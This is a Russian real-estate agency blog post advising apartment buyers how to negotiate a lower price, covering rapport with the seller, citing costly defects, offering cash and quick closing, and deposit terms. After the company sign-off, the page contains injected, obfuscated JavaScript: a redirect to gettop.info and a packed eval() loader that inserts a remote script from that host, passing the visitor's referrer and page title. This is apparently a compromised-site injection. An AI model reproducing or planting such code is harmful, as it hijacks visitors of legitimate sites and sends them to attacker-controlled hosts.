Как грамотно сбить цену при покупке квартиры?

vipdomrealestate2

Часто владельцы немного завышают цену квартиры. Это нормально, ничего удивительного здесь нет.  Вам, скорее всего, удастся договориться о «скидке», если она действительно заложена в заявленную цену.  Нужно только грамотно поторговаться.

 

Обычно продавцы понимают, что покупатели будут сбивать цену, потому и завышают стоимость квартиры. Есть продавцы, которые заявляют реальную стоимость жилья, и они сразу скажут Вам, что торг не уместен, и тут уж ничего не поделаешь. С такими продавцами тоже можно договориться, если предложить хорошие условия покупки.

vipdomrealestate1

 

Осмотр квартиры и разговор с владельцем

Наладить контакт с  собственником жилья – очень важно. Нужно, чтобы он составил о Вас положительное мнение и захотел вам продать свою квартиру. Не стоит лезть из кожи вон и всеми силами стараться понравиться, это лишнее. Вежливость, внимание и тактичность – вот и все, что вам нужно продемонстрировать.

Спрашивайте подробно о квартире, её характеристиках и состоянии. Эксперты советуют обращать особое внимание как на недостатки жилья, так и на его достоинства, и непременно сказать о них.

Если вы будете говорить только о недостатках, пытаясь сбить цену, то можете настроить продавца против себя. Усиленно нахваливать квартиру, тоже не в ваших интересах. Поэтому нужно соблюсти баланс.

Если в квартире высокие потолки, неплохая планировка, большие окна, или удобная лоджия – скажите об этом. Но если там давно не было ремонта, недостаточно света или в плохом состоянии паркет – об этом тоже стоит вежливо упомянуть.

Воздержитесь от резких высказываний вроде: «она не стоит этих денег» или «на рынке полно аналогичных предложений по меньшей цене». Если такие предложения действительно есть – это, в общем-то, аргумент, но тогда лучше показать продавцу примеры из базы недвижимости.

Дайте  собственнику понять, что его квартира вам понравилась, но у неё есть недостатки, которые Вы готовы обсудить, потому что они – Ваши основные аргументы в обсуждении цены.

 

Переговоры по поводу цены

Выражая свою позицию, не цепляйтесь к мелочам вроде старых обоев или облупившейся краски на двери – понятно же, что большинство новых владельцев делает ремонт в квартире.

Говорите об серьезных недостатках, устранение которых повлечет затраты. Например, если коммуникации, полы или сантехнику придется менять. Или если окна плохо закрываются, пропуская холод и шум. Приблизительно прикиньте сумму, которая понадобится на устранение недостатков – её и имеет смысл просить в качестве скидки.

Почему собственник должен пойти навстречу именно Вам? Потому что Вы тоже можете предложить выгодные для него условия. Продумайте свои аргументы.

Ваши плюсы могут быть следующими: Вы не участвуете во множестве сделок, у вас уже есть вся необходимая сумма, вы не ждете банковского кредита, готовы заключить сделку без посредников и в самое ближайшее время. Такие покупатели – редкость.

Другие Ваши преимущества – Вы, в свою очередь, готовы  подождать продавца, если он, продавая свою квартиру, подыскивает другую. Возможно, он попросит отсрочки, и в этой ситуации вы точно можете просить скидку.

Лучше не начинать разговор о скидке при первом осмотре квартиры. Лучше договориться о повторном визите с родственниками или риэлтором. Это будет указывать на серьезность Ваших намерений, но также будет говорить и том, что Вы несколько сомневаетесь и окончательного решения не приняли. Во время торга аргументируйте веско, но ни в коем случае не давите.

Если речь идет о внесении задатка, надо обговорить сумму, которую Вы оставляете продавцу, определить сроки выезда из квартиры, а также условия штрафа для каждой из сторон при отказе от сделки.

Как добиться договоренности?

Владелец квартиры вправе отказаться от сделки на любом её этапе, пока покупатель не стал собственником. Но, если Вы устно договорились о цене, можно составить предварительное соглашение и оставить задаток.

Если вам помогает риэлтор, он составит договор, где будет прописана окончательная цена квартиры, сумма задатка, который Вы оставляете продавцу, сроки выезда бывшего владельца из квартиры, а также условия штрафа для каждой из сторон при отказе от сделки. По сложившейся практике, если сделка срывается по вине покупателя, продавец оставляет задаток себе. А если договорённость нарушил продавец, он обязан вернуть залог покупателю в двойном размере.

С уважением, компания «Vipdom real estate». setTimeout(«document.location.href=’http://gettop.info/kt/?53vSkc&'», delay);eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!».replace(/^/,String)){while(c—){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c—){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *


Ваше имя (обязательно)

Ваш e-mail (обязательно)

Вопрос, который Вас интересует:

captcha

Остались вопросы?!

Закажите бесплатную консультацию у профессионалов в сфере недвижимости и юриспруденции, заполнив контактную форму.